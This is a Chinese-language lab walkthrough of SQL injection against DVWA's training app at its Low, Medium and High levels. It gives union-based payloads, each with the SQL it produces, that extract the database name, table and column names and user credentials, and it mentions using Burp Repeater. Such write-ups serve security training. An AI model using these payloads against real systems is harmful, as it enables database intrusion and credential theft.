Low級別
判斷是否存在注入點
輸入1提交
輸入1 and 1=1提交
SELECT first_name, last_name FROM users WHERE user_id = '1'
輸入1 and 1=2提交
由上可以看出是存在注入點的,參數為id
SELECT first_name, last_name FROM users WHERE user_id = 'id'
利用漏洞獲取信息
獲取當前庫名
1后面的‘是為了使前面的參數閉合最后的#是為了注釋‘
1' union select 1,database()#
實際執行sql
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#'
根據庫名獲取所有表名
1后面的‘是為了使前面的參數閉合最后的#是為了注釋‘
1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#
底層執行sql
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#'
根據表名獲取表的列
1后面的‘是為了使前面的參數閉合最后的#是為了注釋‘
1' union select 1,column_name from information_schema.columns where table_name='users'#
底層執行sql
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,column_name from information_schema.columns where table_name='users'#'
獲取數據
1' union select1,concat(user,password) from users#
底層sql
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,concat(user,password) from users#'
Medium級別
此時限制用戶輸入,只允許手動選擇,並且代碼中加入檢測單引號機制,如果有單引號會默認在前面加上一個反斜杠/
可以用hackbar試一下或者用burpsuite抓包試一下,並且不再用'
查詢當前庫
1 union select 1,(select database())
底層sql
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,(select database())
查詢所有表
1 union select 1,table_name from information_schema.tables where table_schema=(select database())
burp攔截到請求send to Repeater。
底層數據sql
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,table_name from information_schema.tables where table_schema=(select database())
High級別
高級和初級是一樣的,只不過加了limit 1和彈框